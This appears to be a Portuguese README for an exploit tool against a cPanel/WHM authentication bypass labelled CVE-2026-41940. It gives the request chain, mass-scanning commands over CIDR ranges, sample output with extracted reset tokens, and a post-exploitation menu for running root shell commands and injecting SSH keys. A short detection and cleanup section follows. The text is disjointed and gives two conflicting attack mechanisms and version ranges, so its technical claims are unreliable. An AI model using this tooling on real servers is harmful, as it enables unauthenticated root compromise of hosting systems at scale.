
CVE-2026-41940 — Bypass de Autenticação cPanel/WHM Por Dr.Anach, injeção de CRLF no manipulador de autenticação Basic do `cpsrvd` → acesso não autenticado à API WHM → RCE como root. Todos os cPanel desde v11.40 afetados.
Autor: Dr.Anach | Contato: @dranach | Licença: MIT
Injeção CRLF no manipulador de autenticação Basic do cpsrvd → acesso não autenticado à API WHM → RCE como root. Todos os cPanel desde v11.40 afetados.
| # | Etapa | Requisição |
|---|---|---|
| 1 | Mint session | GET /login/?user=root |
| 2 | Injeção CRLF | Authorization: Basic <base64> — a senha carrega payload \r\n |
| 3 | Promoção de cache | GET /cpsess<ID>/login/?login_only=1 |
| 4 | Executar | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
Abaixo está o README.md final — amigável, prático e focado em fazer o trabalho.
Autor: Dr.Anach · Telegram: @dranach
Versão: 2.0.0
Licença: Apenas para testes de segurança autorizados
Explora o CVE-2026-41940, um bypass de autenticação no cPanel & WHM (versões 11.x até 106.x). A vulnerabilidade permite que um atacante não autenticado acesse endpoints restritos — incluindo a função de redefinição de senha — enviando um cabeçalho Host malicioso apontando para um servidor controlado pelo atacante.
Vem com três modos:
| Modo | Flag | O que |
|---|---|---|
| Alvo único | -t | Testa um IP ou domínio |
requestspip install requests
Nenhuma outra dependência. A expansão CIDR usa o módulo ipaddress embutido do Python — nada extra para instalar no Windows.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
Formato targets.txt:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
Isso expande 192.168.128.0/18 (16.384 IPs), executa uma verificação rápida de porta em cada um e só tenta exploração contra hosts onde a porta 2087 (cPanel/WHM) está aberta.
-t, --target Alvo único (IP ou domínio)
--batch FILE Arquivo com alvos (um por linha)
--port-scan CIDR Intervalo CIDR para escanear (ex.: 192.168.128.0/18)
-p, --port Porta alvo (padrão: 2087)
--ssl Usar HTTPS (padrão: HTTP)
--timeout SEC Timeout de conexão em segundos (padrão: 10)
--threads N Máximo de threads concorrentes (padrão: 50)
--proxy PROXY Proxy HTTP (ex.: http://127.0.0.1:8080)
-v, --verbose Saída detalhada com informações de debug
--no-banner Suprimir banner
--version Mostrar versão
[+] 192.168.130.45:2087 — VULNERÁVEL!
→ URL de redefinição de senha: http://192.168.130.45:2087/reset?token=abc123
→ Tempo de resposta: 1.23s
[-] 192.168.131.10:2087 — Não vulnerável
→ Motivo: Nenhum endpoint de redefinição de senha encontrado
[!] 192.168.129.22:2087 — Erro: Conexão recusada
Os resultados salvos como JSON são estruturados por host com status de vulnerabilidade, tokens extraídos e detalhes brutos da resposta.
O cenário pelo qual você provavelmente está aqui:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
Como funciona:
192.168.128.0/18 → 16.384 IPs internamenteDicas de threading:
--threads 100 funciona bem (respeita os limites padrão de sockets)--threads 200--threads 30 e aumente --timeoutCVSS 9.1 (Crítico) — Nenhuma autenticação necessária, nenhuma interação do usuário, baixa complexidade.
Host no lado do servidorEsta ferramenta é apenas para avaliações de segurança autorizadas. Você deve ser proprietário dos alvos ou ter permissão por escrito do proprietário antes de testar. Os autores não assumem nenhuma responsabilidade por uso indevido.
help Mostrar comandos
info Informações do servidor
passwd Alterar senha
accounts Listar contas cPanel
enum Enumeração completa
shell Executar comando do sistema
ssh-add Injetar chave SSH
exec Executar one-liner Python
exit Sair
Verificar arquivos de sessão:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
Logs suspeitos em /usr/local/cpanel/logs/access_log:
/login/?user=root → mint session
/login/?user=root → injeção CRLF
/cpsess*/login/?login_only=1 → promoção de cache
/cpsess*/execute/* → abuso de API
# 1. Aplicar patch para a build corrigida
# 2. Rotacionar todas as senhas e chaves SSH
# 3. Limpar sessões
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| Arquivo em lote | --batch | Carrega uma lista de alvos de um arquivo |
| Varredura CIDR | --port-scan | Expande uma sub-rede e testa cada host ativo |